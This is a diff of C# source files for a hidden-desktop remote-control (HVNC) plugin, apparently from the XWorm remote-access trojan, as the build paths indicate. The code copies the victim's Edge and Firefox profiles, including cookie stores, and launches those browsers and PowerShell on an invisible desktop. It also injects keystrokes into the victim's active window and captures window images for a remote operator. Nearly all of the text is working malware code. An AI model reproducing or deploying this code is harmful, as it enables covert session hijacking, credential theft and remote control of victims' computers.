Helper.SendMSG("MicrosoftEdge: Not Installed!");
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
bool flag2 = !Directory.Exists(Edge.fileNameUserDataCopy);
|
||||
if (flag2)
|
||||
{
|
||||
Helper.SendMSG("MicrosoftEdge: CloneProfile..");
|
||||
Edge.PC.FileSystem.CopyDirectory(Edge.fileNameUserData, Edge.fileNameUserDataCopy);
|
||||
Helper.SendMSG("MicrosoftEdge: CloneProfile Completed");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Debug.WriteLine("Error!");
|
||||
}
|
||||
Debug.WriteLine("Complete.///");
|
||||
new Thread(delegate()
|
||||
{
|
||||
Thread.Sleep(1000);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
Edge.Open();
|
||||
}).Start();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.SendMSG("MicrosoftEdge: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x0600011F RID: 287 RVA: 0x000078CC File Offset: 0x00005ACC
|
||||
public static void Open()
|
||||
{
|
||||
try
|
||||
{
|
||||
string Path = null;
|
||||
|
||||
if (System.IO.File.Exists(Edge.FilenameEdge))
|
||||
{
|
||||
Path = Edge.FilenameEdge;
|
||||
}
|
||||
|
||||
if (System.IO.File.Exists(Edge.FilenameEdgeX86))
|
||||
{
|
||||
Path = Edge.FilenameEdgeX86;
|
||||
}
|
||||
|
||||
|
||||
if (Path == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
HideDesktop.CreateProcess(string.Concat(new string[]
|
||||
{
|
||||
"\"",
|
||||
Path,
|
||||
"\" --disable-3d-apis --disable-gpu --disable-d3d11 \"--user-data-dir=",
|
||||
Edge.fileNameUserDataCopy,
|
||||
"\""
|
||||
}), Helper.NameDesktop, false);
|
||||
Debug.WriteLine("Running.////");
|
||||
Helper.SendMSG("MicrosoftEdge: Running");
|
||||
Thread.Sleep(3000);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
Debug.WriteLine("Refresh");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.SendMSG("MicrosoftEdge: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x04000086 RID: 134
|
||||
private static readonly Computer PC = new Computer();
|
||||
|
||||
// Token: 0x04000087 RID: 135
|
||||
private static readonly string fileNameUserData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Microsoft\\Edge\\User Data";
|
||||
|
||||
// Token: 0x04000088 RID: 136
|
||||
private static readonly string fileNameUserDataCopy = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Microsoft\\Edge\\Edge Data";
|
||||
|
||||
// Token: 0x04000089 RID: 137
|
||||
private static readonly string FilenameEdge = WDir.SystemDirectory + "Program Files\\Microsoft\\Edge\\Application\\msedge.exe";
|
||||
private static readonly string FilenameEdgeX86 = WDir.SystemDirectory + "Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,146 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using DLL.S.OpenApp;
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using static HVNC.Plugin;
|
||||
|
||||
namespace S.OpenApp
|
||||
{
|
||||
// Token: 0x0200001E RID: 30
|
||||
internal class FireFox
|
||||
{
|
||||
// Token: 0x06000122 RID: 290 RVA: 0x000079E8 File Offset: 0x00005BE8
|
||||
public static void OpenFireFoxBrowser()
|
||||
{
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
try
|
||||
{
|
||||
bool flag = !File.Exists(FireFox.FilenameFireFox) && !File.Exists(FireFox.FilenameFireFoxX86);
|
||||
if (flag)
|
||||
{
|
||||
Helper.SendMSG("Firefox: Not Installed!");
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
bool flag2 = !Directory.Exists(FireFox.fileNameUserDataCopy);
|
||||
if (flag2)
|
||||
{
|
||||
try
|
||||
{
|
||||
string str = string.Empty;
|
||||
string[] directories = Directory.GetDirectories(FireFox.fileNameUserData);
|
||||
int num = 0;
|
||||
string text;
|
||||
for (;;)
|
||||
{
|
||||
bool flag3 = num < directories.Length;
|
||||
bool flag4 = !flag3;
|
||||
if (flag4)
|
||||
{
|
||||
break;
|
||||
}
|
||||
text = directories[num];
|
||||
string path = text + "\\cookies.sqlite";
|
||||
bool flag5 = !File.Exists(path);
|
||||
bool flag6 = !flag5;
|
||||
if (flag6)
|
||||
{
|
||||
goto Block_10;
|
||||
}
|
||||
num++;
|
||||
}
|
||||
goto IL_BA;
|
||||
Block_10:
|
||||
str = Path.GetFileName(text);
|
||||
IL_BA:
|
||||
Helper.SendMSG("Firefox: CloneProfile...");
|
||||
FireFox.PC.FileSystem.CopyDirectory(FireFox.fileNameUserData + "\\" + str, FireFox.fileNameUserDataCopy);
|
||||
Helper.SendMSG("Firefox: CloneProfile Completed");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.SendMSG("Firefox: " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Debug.WriteLine("Error!");
|
||||
}
|
||||
Debug.WriteLine("Complete.///");
|
||||
new Thread(delegate()
|
||||
{
|
||||
Thread.Sleep(1000);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
FireFox.Open();
|
||||
}).Start();
|
||||
}
|
||||
}
|
||||
catch (Exception ex2)
|
||||
{
|
||||
Helper.SendMSG("Firefox: " + ex2.Message);
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x06000123 RID: 291 RVA: 0x00007BC4 File Offset: 0x00005DC4
|
||||
public static void Open()
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
string Path = null;
|
||||
|
||||
if (System.IO.File.Exists(FireFox .FilenameFireFox))
|
||||
{
|
||||
Path = FireFox.FilenameFireFox;
|
||||
}
|
||||
|
||||
if (System.IO.File.Exists(FireFox.FilenameFireFoxX86))
|
||||
{
|
||||
Path = FireFox.FilenameFireFoxX86;
|
||||
}
|
||||
|
||||
|
||||
if (Path == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
HideDesktop.CreateProcess(string.Concat(new string[]
|
||||
{
|
||||
"\"",
|
||||
Path,
|
||||
"\" -no-remote -profile \"",
|
||||
FireFox.fileNameUserDataCopy,
|
||||
"\""
|
||||
}), Helper.NameDesktop, false);
|
||||
Debug.WriteLine("Running.////");
|
||||
Helper.SendMSG("Firefox: Running");
|
||||
Thread.Sleep(3000);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
Debug.WriteLine("Refresh");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.SendMSG("Firefox: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x0400008A RID: 138
|
||||
private static readonly Computer PC = new Computer();
|
||||
|
||||
// Token: 0x0400008B RID: 139
|
||||
private static readonly string fileNameUserData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Mozilla\\Firefox\\Profiles";
|
||||
|
||||
// Token: 0x0400008C RID: 140
|
||||
private static readonly string fileNameUserDataCopy = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Mozilla\\Firefox\\FireFox Data";
|
||||
|
||||
// Token: 0x0400008D RID: 141
|
||||
private static readonly string FilenameFireFox = WDir.SystemDirectory + "Program Files\\Mozilla Firefox\\firefox.exe";
|
||||
private static readonly string FilenameFireFoxX86 = WDir.SystemDirectory + "Program Files (x86)\\Mozilla Firefox\\firefox.exe";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using static HVNC.Plugin;
|
||||
|
||||
namespace Plugin.S.OpenApp
|
||||
{
|
||||
public class HandleClipboard
|
||||
{
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
public static void Paste(string k)
|
||||
{
|
||||
string @string = Encoding.UTF8.GetString(Convert.FromBase64String(k));
|
||||
for (int i = 0; i < @string.Length; i++)
|
||||
{
|
||||
int num = Strings.AscW(@string[i].ToString());
|
||||
if (num == 8 || num == 13)
|
||||
{
|
||||
PostMessage(HandelMouse.ActiveHandel, 256u, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(@string[i].ToString()))), CreateLParamFor_WM_KEYDOWN(1, 30, IsExtendedKey: false, DownBefore: false));
|
||||
PostMessage(HandelMouse.ActiveHandel, 257u, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(@string[i].ToString()))), CreateLParamFor_WM_KEYUP(1, 30, IsExtendedKey: false));
|
||||
}
|
||||
else
|
||||
{
|
||||
PostMessage(HandelMouse.ActiveHandel, 258u, (IntPtr)Strings.AscW(@string[i].ToString()), (IntPtr)1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static IntPtr CreateLParamFor_WM_KEYUP(ushort RepeatCount, byte ScanCode, bool IsExtendedKey)
|
||||
{
|
||||
return KeysLParam(RepeatCount, ScanCode, IsExtendedKey, DownBefore: true, State: true);
|
||||
}
|
||||
|
||||
public static IntPtr CreateLParamFor_WM_KEYDOWN(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore)
|
||||
{
|
||||
return KeysLParam(RepeatCount, ScanCode, IsExtendedKey, DownBefore, State: false);
|
||||
}
|
||||
|
||||
public static IntPtr KeysLParam(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore, bool State)
|
||||
{
|
||||
int num = RepeatCount | (ushort)(ScanCode << 16);
|
||||
if (IsExtendedKey)
|
||||
{
|
||||
num |= 0x10000;
|
||||
}
|
||||
if (DownBefore)
|
||||
{
|
||||
num |= 0x40000000;
|
||||
}
|
||||
if (State)
|
||||
{
|
||||
num = (int)((long)num | -2147483648L);
|
||||
}
|
||||
return new IntPtr(num);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using static HVNC.Plugin;
|
||||
|
||||
namespace S.OpenApp
|
||||
{
|
||||
// Token: 0x0200001F RID: 31
|
||||
internal class PowerShell
|
||||
{
|
||||
// Token: 0x06000126 RID: 294 RVA: 0x00007CE0 File Offset: 0x00005EE0
|
||||
public static void Open()
|
||||
{
|
||||
try
|
||||
{
|
||||
bool flag = !File.Exists(PowerShell.fileNamePowerShell);
|
||||
if (flag)
|
||||
{
|
||||
Helper.SendMSG("PowerShell: Not Found!");
|
||||
}
|
||||
else
|
||||
{
|
||||
HideDesktop.CreateProcess(PowerShell.fileNamePowerShell, Helper.NameDesktop, false);
|
||||
Debug.WriteLine("Running.////");
|
||||
Helper.SendMSG("PowerShell: Running");
|
||||
Thread.Sleep(3000);
|
||||
HideDesktop.Load(Helper.HVNCDesktop);
|
||||
Debug.WriteLine("Refresh");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.SendMSG("PowerShell: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
// Token: 0x0400008E RID: 142
|
||||
private static readonly string fileNamePowerShell = Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\WindowsPowerShell\\v1.0\\powershell.exe";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace DLL.S.OpenApp
|
||||
{
|
||||
class WDir
|
||||
{
|
||||
public static string SystemDirectory = Path.GetPathRoot(Environment.SystemDirectory);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
using static HVNC.Plugin;
|
||||
|
||||
namespace S
|
||||
{
|
||||
// Token: 0x02000011 RID: 17
|
||||
internal class ScreenCapture
|
||||
{
|
||||
// Token: 0x060000CD RID: 205 RVA: 0x000060F4 File Offset: 0x000042F4
|
||||
public Bitmap CaptureWindow(IntPtr handle)
|
||||
{
|
||||
ScreenCapture.User32.Rect rect = default(ScreenCapture.User32.Rect);
|
||||
ScreenCapture.User32.GetWindowRect(handle, ref rect);
|
||||
int num = rect.right - rect.left;
|
||||
int num2 = rect.bottom - rect.top;
|
||||
Bitmap bitmap = new Bitmap(num + 1, num2 + 1);
|
||||
using (Graphics graphics = Graphics.FromImage(bitmap))
|
||||
{
|
||||
IntPtr hdc = graphics.GetHdc();
|
||||
if (Helper.HigherThan81)
|
||||
{
|
||||
ScreenCapture.User32.PrintWindow(handle, hdc, 2u);
|
||||
}
|
||||
else
|
||||
{
|
||||
ScreenCapture.User32.PrintWindow(handle, hdc, 0u);
|
||||
}
|
||||
}
|
||||
return bitmap;
|
||||
}
|
||||
|
||||
// Token: 0x02000032 RID: 50
|
||||
private class User32
|
||||
{
|
||||
// Token: 0x06000141 RID: 321
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetWindowRect(IntPtr hWnd, ref ScreenCapture.User32.Rect rect);
|
||||
|
||||
// Token: 0x06000142 RID: 322
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool PrintWindow(IntPtr hwnd, IntPtr hdcBlt, uint nFlags);
|
||||
|
||||
// Token: 0x0200003B RID: 59
|
||||
public struct Rect
|
||||
{
|
||||
// Token: 0x040000EE RID: 238
|
||||
public int left;
|
||||
|
||||
// Token: 0x040000EF RID: 239
|
||||
public int top;
|
||||
|
||||
// Token: 0x040000F0 RID: 240
|
||||
public int right;
|
||||
|
||||
// Token: 0x040000F1 RID: 241
|
||||
public int bottom;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,126 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
using S;
|
||||
using static HVNC.Plugin;
|
||||
|
||||
namespace VNC
|
||||
{
|
||||
// Token: 0x02000004 RID: 4
|
||||
internal class HelperScreen
|
||||
{
|
||||
|
||||
// Token: 0x0600002D RID: 45
|
||||
[DllImport("user32")]
|
||||
public static extern bool GetWindowRect(IntPtr hWnd, ref HelperScreen.RECT lpRect);
|
||||
|
||||
// Token: 0x0600002E RID: 46
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool IsWindowVisible(IntPtr hWnd);
|
||||
|
||||
// Token: 0x0600002F RID: 47
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern bool EnumDesktopWindows(IntPtr hDesktop, HelperScreen.EnumDelegate lpEnumCallbackFunction, IntPtr lParam);
|
||||
|
||||
// Token: 0x06000030 RID: 48
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern IntPtr PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags);
|
||||
|
||||
// Token: 0x06000031 RID: 49
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetWindowDC(IntPtr hWnd);
|
||||
|
||||
// Token: 0x06000032 RID: 50
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr ReleaseDC(IntPtr hWnd, IntPtr hDC);
|
||||
|
||||
// Token: 0x06000033 RID: 51
|
||||
[DllImport("gdi32.dll")]
|
||||
public static extern bool DeleteDC(IntPtr hDC);
|
||||
|
||||
// Token: 0x06000034 RID: 52
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetTopWindow(IntPtr hWnd);
|
||||
|
||||
// Token: 0x06000035 RID: 53 RVA: 0x00002D70 File Offset: 0x00000F70
|
||||
|
||||
public static bool List_screen(IntPtr hWnd, int lParam)
|
||||
{
|
||||
bool result;
|
||||
try
|
||||
{
|
||||
bool flag = HelperScreen.IsWindowVisible(hWnd);
|
||||
if (flag)
|
||||
{
|
||||
bool flag2 = hWnd == IntPtr.Zero;
|
||||
if (flag2)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
HelperScreen.Num_List.Add(hWnd);
|
||||
}
|
||||
result = true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
result = false;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
// Token: 0x06000036 RID: 54 RVA: 0x00002DCC File Offset: 0x00000FCC
|
||||
public static Bitmap GetScreen(int x, int y)
|
||||
{
|
||||
HelperScreen.Num_List = new List<IntPtr>();
|
||||
Bitmap bitmap = new Bitmap(x, y);
|
||||
bool flag = HelperScreen.EnumDesktopWindows(IntPtr.Zero, new HelperScreen.EnumDelegate(HelperScreen.List_screen), IntPtr.Zero);
|
||||
if (flag)
|
||||
{
|
||||
for (int i = HelperScreen.Num_List.Count - 1; i > -1; i += -1)
|
||||
{
|
||||
bool flag2 = !Helper.IsRunning && !ClientSocket.isConnected;
|
||||
if (flag2)
|
||||
{
|
||||
break;
|
||||
}
|
||||
HelperScreen.RECT rect = default(HelperScreen.RECT);
|
||||
IntPtr intPtr = HelperScreen.Num_List[i];
|
||||
|
||||
|
||||
ScreenCapture screenCapture = new ScreenCapture();
|
||||
Bitmap image = screenCapture.CaptureWindow(HelperScreen.Num_List[i]);
|
||||
HelperScreen.GetWindowRect(HelperScreen.Num_List[i], ref rect);
|
||||
using (Graphics graphics = Graphics.FromImage(bitmap))
|
||||
{
|
||||
graphics.DrawImage(image, rect.Left, rect.Top);
|
||||
}
|
||||
}
|
||||
}
|
||||
return bitmap;
|
||||
}
|
||||
|
||||
// Token: 0x04000018 RID: 24
|
||||
public static List<IntPtr> Num_List;
|
||||
|
||||
// Token: 0x02000022 RID: 34
|
||||
// (Invoke) Token: 0x0600012B RID: 299
|
||||
public delegate bool EnumDelegate(IntPtr hWnd, int lParam);
|
||||
|
||||
// Token: 0x02000023 RID: 35
|
||||
public struct RECT
|
||||
{
|
||||
// Token: 0x04000094 RID: 148
|
||||
public int Left;
|
||||
|
||||
// Token: 0x04000095 RID: 149
|
||||
public int Top;
|
||||
|
||||
// Token: 0x04000096 RID: 150
|
||||
public int Right;
|
||||
|
||||
// Token: 0x04000097 RID: 151
|
||||
public int Bottom;
|
||||
}
|
||||
}
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]
|
||||
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
50381ce4b104e580db272de4b7dab125e2f9b40f
|
||||
@@ -0,0 +1,6 @@
|
||||
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNC Memory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNC Memory.pdb
|
||||
C:\Users\XCoder\source\repos\HVNC\HVNC\obj\Debug\HVNC Memory.csproj.AssemblyReference.cache
|
||||
C:\Users\XCoder\source\repos\HVNC\HVNC\obj\Debug\HVNC Memory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\source\repos\HVNC\HVNC\obj\Debug\HVNC Memory.dll
|
||||
C:\Users\XCoder\source\repos\HVNC\HVNC\obj\Debug\HVNC Memory.pdb
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
50381ce4b104e580db272de4b7dab125e2f9b40f
|
||||
@@ -0,0 +1,7 @@
|
||||
C:\Users\XCoder\source\repos\HVNC\HVNC\obj\Debug\HVNC.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\source\repos\HVNC\HVNC\bin\Debug\HVNC.dll
|
||||
C:\Users\XCoder\source\repos\HVNC\HVNC\bin\Debug\HVNC.pdb
|
||||
C:\Users\XCoder\source\repos\HVNC\HVNC\obj\Debug\HVNC.dll
|
||||
C:\Users\XCoder\source\repos\HVNC\HVNC\obj\Debug\HVNC.pdb
|
||||
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNC.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNC.pdb
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
50782359221f7cd9fdaefffa37b2af76b9fcf9294e47d3584c4ffffaa8a83116
|
||||
@@ -0,0 +1,106 @@
|
||||
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\XCoder\source\repos\HVNC\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\source\repos\HVNC\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\XCoder\source\repos\HVNC\HVNC\obj\Debug\HVNCMemory.pdb
|
||||
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\PC\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\PC\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\PC\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\PC\Desktop\XWorm V3.2 Base64\XWorm V3.2 Base64\XWorm V3.2\XWorm V3.2\XWorm V3.2\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\PC\Desktop\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\PC\Desktop\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\PC\Desktop\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\PC\Desktop\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V4.0 Update\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V4.0 Update\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V4.0 Update\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V4.0 Update\XWorm V4.0 Update\XWorm V4.0\XWorm V4.0\XWorm V4.0\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\PC\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\PC\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\PC\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\PC\Desktop\XWorm V4.1\XWorm V4.1\XWorm V4.1\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.0\XWorm V5.0\XWorm V5.0\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.0\XWorm V5.0\XWorm V5.0\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.0\XWorm V5.0\XWorm V5.0\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.1\XWorm V5.1\XWorm V5.1\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.AssemblyReference.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Dark Worm\bin\Debug\Plugins\HVNCMemory.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.2\XWorm V5.2\XWorm V5.2\Dark Worm\Plugins\HVNCMemory\HVNC\obj\Debug\HVNCMemory.csproj.CoreCompileInputs.cache
|
